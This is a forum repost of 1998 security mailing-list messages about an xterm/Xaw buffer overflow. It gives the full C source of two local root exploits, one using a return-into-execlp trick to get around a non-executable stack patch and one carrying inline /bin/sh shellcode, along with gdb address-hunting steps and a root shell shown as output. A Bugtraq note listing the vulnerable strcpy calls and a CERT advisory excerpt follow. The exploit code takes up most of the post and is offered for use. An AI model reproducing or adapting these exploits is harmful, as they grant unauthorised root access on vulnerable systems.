Jump to content
MaHaReT

Exploit

Recommended Posts

Date: Wed, 10 Jun 1998 20:09:07 +0200 (MET DST) From: "M.C.Mar" <woloszyn@nospam.it.pl> X-Sender: woloszyn@dollar.it.com.pl

Reply-To: "M.C.Mar" <emsi@it.com.pl>

To: fyodor@insecure.org

Subject: my sploit

Message-ID: <Pine.GSO.3.96.980610200850.7281v-100000@dollar.it.com.pl>

X-Hidden-txt: Screw Windoze

Hi!

I developed sploit against Xaw and neXtaw which works even is Solar Designer's patch is applyed.

While compiling tandard sploit developed by alcuin: emsi:~/hack> gcc xterm.c

emsi:~/hack> ./a.out

Segmentation fault

Then as root:

emsi:/home/mcmar/hack# grep overflow /var/adm/syslog -A1 Jun 10 19:09:39 emsi kernel: Possible buffer overflow exploit attempt: Jun 10 19:09:39 emsi kernel: Process xterm (pid 311, uid 1001, euid 0).

Now compile my sploit:

emsi:~/hack> gcc 3xterm.c -L /usr/X11/lib/ -lXaw -lXmu -lXt -lSM -lICE -lXext -lX11 -lc

emsi:~/hack> ./a.out

bash#

Cool, izn't it? ;)

And here goes (for the eduction of curse ;) my sploit source:

emsi:~/hack> cat 3xterm.c

/*

A simple xploit working arround non-executable stack patch! ;) Based on Solar Designer's: "Getting around non-executable stack(fix)" post and:

Rafa? Wojtczuk's "Defeating Solar Designer'a Non-executable Stach Patch"

sploit by Kil3r of Lam3rZ against both Xaw and neXtaw widgets based on xterm_exp.c by alcuin

Compile it like this:

gcc 3xterm.c -L /usr/X11/lib/ -lXaw -lXmu -lXt -lSM -lICE -lXext -lX11 -lc

Description:

The sploit simply passes the EXECLP address and its parameters addresses onto the stack. To work fine you need to look for execlp Program Linkage Table entry in xterm and for "/bin/sh" string in its data segment...

emsi:~mcmar/hack# gdb xterm

GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.16 (i486-slackware-linux),

Copyright 1996 Free Software Foundation, Inc...(no debugging symbols found)...

(gdb) print execlp

$1 = {<text variable, no debug info>} 0x804bc78 <execlp> (gdb) x/s 0x8063d2e

0x8063d2e <_fini+8158>: "/bin/sh"

0x804bc78 and 0x8063d2e are OK for me, but you may need to look for the riht ones in your case... ;)

GreetZ: bulba, smierc and whole Lam3rZ teem and other Polish hackers.

*/

#include <stdlib.h>

#include <stdio.h>

#include <ctype.h>

#define CONFFILE ".Xdefaults"

#define OLDFILE ".Xdefaults.old"

#define NEWFILE ".Xdefaults.new"

#define EXECLP 0x804bc78 // execlp PLT adress in xterm #define BIN_SH 0x8063d2e // "/bin/sh" string address in xterm ;)

int *ptr;

void main(int argc, char *argv[]) {

char *home;

FILE *f_in, *f_out;

char buff[16384];

char shellbuf[16384];

char *s;

int i;

if (home = getenv("HOME")) chdir(home);

if (!(f_out = fopen(NEWFILE, "w"))) { perror("fopen");

exit(1);

}

if (f_in = fopen(CONFFILE, "r")) {

fseek(f_in,0,SEEK_SET);

while (!feof(f_in)) {

fgets(buff,16384,f_in);

for (s=buff;isblank(*s);s++);

if (strncmp(s,"xterm*inputMethod",17)<0)

fputs(buff,f_out);

}

fclose(f_in);

}

/* fill the buffer with nops */

memset(shellbuf, 0x90, sizeof(shellbuf)); shellbuf[sizeof(shellbuf)-1] = 0;

ptr = (int *)(shellbuf+102b);

*ptr++ =EXECLP;

*ptr++ =EXECLP;

*ptr++ =BIN_SH;

*ptr++ =BIN_SH;

*ptr++ = 0;

fputs("xterm*inputMethod:",f_out);

fputs(shellbuf, f_out);

fclose(f_out);

system("/bin/cp "CONFFILE" "OLDFILE); system("/bin/mv -f "NEWFILE" "CONFFILE);

execl("/usr/X11R6/bin/xterm","xterm",NULL); }

M.C.Mar An NT server can be run by an idiot, and usually is. emsi@it.pl

"If you can't make it good, make it LOOK good." - Bill Gates

Date: Mon, 4 May 1998 11:06:05 +0200

From: Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz>

To: BUGTRAQ@NETSPACE.ORG

Subject: Re: TOG and xterm problem

On Fri, 1 May 1998, Jeff Gehlbach wrote:

> Open Group, when *will* the rest of us see at least some clues about where

> the bug lies and how it can be fixed? You say you won't release patches

> to X11R<6.4, but can you at least be nice enough to tell those of us using

> the still-perfectly-serviceable 6.3 just a tidbit about the problem?

Believe or not, it took me 10 minutes to grep the appropriate parts of

X11R6.3 sources, following the clues mentioned in the CERT advisory, and

find the bugs--at least some of them.

xc/programs/xterm/charproc.c:

* HandleKeymapChange():

(void) sprintf( mapName, "%sKeymap", params[0] );

(void) strcpy( mapClass, mapName );

(actually, the second command is mostly harmless because the size of

mapName and mapClass is the same)

xc/programs/xterm/charproc.c:

* VTInitI18N():

strcpy(tmp, term->misc.input_method);

...

strcpy(buf, "@im=");

strcat(buf, s);

...

strcpy(tmp, term->misc.preedit_type);

xc/lib/Xaw/XawIm.c:

* OpenIM():

strcpy(modifiers, "@im=");

strcat(modifiers, ve->im.im_list);

* ParseIMNameList():

char *s, *save_s, *ss, *list[32], **lp, *end;

...

list = s;

(This one is quite interesting.

Exercise for the reader: write an exploit.)

<ironic>

Security hint of the day:

find . -name '*.[ch]' |

xargs egrep -l 'sprintf|strcat|strcpy' |

xargs rm

</ironic>

--Pavel Kankovsky aka Peak [ Boycott Microsoft--http://www.vcnet.com/bms ]

P.S. A copy of this message is being submitted to XFree86.

/*

xterm_exp.c : linux/x86 xterm.Xaw exploit

by alcuin - 5/4/98 - [ http://www.rootshell.com/ ]

It works against both Xaw and neXtaw widgets

NB: you have to cp ~/.Xdefaults.old ~/.Xdefaults to be able to

use xterm again.

*/

#include <stdlib.h>

#include <stdio.h>

#include <ctype.h>

unsigned int getsp() {

asm("mov %esp,%eax");

}

inline rootshell(){

__asm__(

"movb $0x56, %alnt"

"l1:cmpb $0x12, %alnt"

"je l2nt"

"movb $0x12,%alnt"

"call l1nt"

"l2:pop %esint"

"xorl %eax,%eaxnt"

"movb $0x25, %alnt"

"addl %eax,%esint"

"movl %esi,%ebxnt"

"movl %esi,%edint"

"movb $8,%alnt"

"addl %eax,%edint"

"movb $5,%alnt"

"addl %eax,%esint"

"movl %esi,(%edi)nt"

"movl %edi,%ecxnt"

"incl %edint"

"incl %edint"

"incl %edint"

"incl %edint"

"xorb %al,%alnt"

"movl %eax,(%edi)nt"

"movl %edi,%edxnt"

"movb $0xb,%alnt"

"int $0x80nt"

".string "/bin/sh"n"

);

}

#define CONFFILE ".Xdefaults"

#define OLDFILE ".Xdefaults.old"

#define NEWFILE ".Xdefaults.new"

main (int argc, char **argv) {

char *home;

FILE *f_in, *f_out;

char buf[16384];

char shellbuf[16384];

char *s;

int i;

unsigned int sp=getsp();

if (home = getenv("HOME")) chdir(home);

if (!(f_out = fopen(NEWFILE, "w"))) {

perror("fopen");

exit(1);

}

if (f_in = fopen(CONFFILE, "r")) {

fseek(f_in,0,SEEK_SET);

while (!feof(f_in)) {

fgets(buf,16384,f_in);

for (s=buf;isblank(*s);s++);

if (strncmp(s,"xterm*inputMethod",17)<0)

fputs(buf,f_out);

}

fclose(f_in);

}

/* fill the buffer with nops */

memset(shellbuf, 0x90, sizeof(shellbuf));

shellbuf[sizeof(shellbuf)-1] = 0;

/* write the return adress */

s = shellbuf+2052;

*(int *)s=sp+0x69F5;

/* write the root shell code */

s = shellbuf+2800;

strcpy(s,(char*)rootshell);

fputs("xterm*inputMethod:",f_out);

fputs(shellbuf, f_out);

fclose(f_out);

system("/bin/cp "CONFFILE" "OLDFILE);

system("/bin/mv -f "NEWFILE" "CONFFILE);

execl("/usr/X11R6/bin/xterm","xterm",NULL);

}

[ From CERT advisory VB-98.04 ]

I. Description

Vulnerabilities exist in the terminal emulator xterm(1), and the Xaw

library distributed in various MIT X Consortium; X Consortium, Inc.;

and The Open Group X Project Team releases. These vulnerabilities may

be exploited by an intruder to gain root access.

The resources and the releases affected by the xterm vulnerability are:

Resources

inputMethod preeditType *Keymap

Release

X11R3 NO NO YES

X11R4 NO NO YES

X11R5 NO NO YES

X11R6 NO NO YES

X11R6.1 YES YES YES

X11R6.2 YES YES YES

X11R6.3 YES YES YES

X11R6.4 YES YES YES

The resources and the releases affected by the Xaw library

vulnerability are

Resources

inputMethod preeditType

Release

X11R6 YES YES

X11R6.1 YES YES

X11R6.2 YES YES

X11R6.3 YES YES

X11R6.4 YES YES

(X11R6.2 was not released to the public.)

The Open Group X Project Team has investigated the issue and recommends

the following steps for neutralizing the exposure. It is HIGHLY RECOMMENDED

that these measures be implemented on ALL vulnerable systems. This issue

will be corrected in future X Project Team releases of X11.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...